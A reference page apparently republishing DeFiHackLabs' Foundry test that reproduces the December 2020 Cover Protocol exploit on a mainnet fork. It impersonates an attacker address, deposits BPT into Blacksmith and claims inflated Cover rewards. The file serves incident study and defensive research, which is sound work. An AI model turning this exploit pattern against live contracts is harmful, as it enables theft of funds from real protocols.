Public reproduction file
src/test/2020-12/Cover_exp.sol
Public reproduction file for dataset entry Cover Protocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7interface Blacksmith {8 function claimRewardsForPools(9 address[] calldata _lpTokens10 ) external;12 function claimRewards(13 address _lpToken14 ) external;16 function deposit(address _lpToken, uint256 _amount) external;18 function withdraw(address _lpToken, uint256 _amount) external;19}21contract ContractTest is Test {22 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);24 Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);26 IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);28 IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);30 function setUp() public {31 cheat.createSelectFork("mainnet", 11_542_309); // fork mainnet at block 1154230932 }34 function test() public {35 cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);36 bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);37 emit log_named_uint("Deposit BPT", 15_255_552_810_089_260_015_361);38 cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);39 //bs.withdraw(address(bpt),12345678);40 bs.claimRewards(address(bpt));41 emit log_named_uint(42 "After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)43 );44 }45}Analysis
Dataset entry
Public Foundry test for “Cover Protocol” (2020-12-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
1 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-06/Discover_exp.solSame protocol or name in the dataset · 45 lines
File record
- Name
- Cover Protocol
- Path
- src/test/2020-12/Cover_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b6cec8aa5f83c49ef7b0baa734feef573d952d2f
- Language
- Solidity
- Size
- 46 lines
- Date
- 2020-12-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2020-12/Cover_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b6cec8aa5f83c49ef7b0baa734feef573d952d2f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.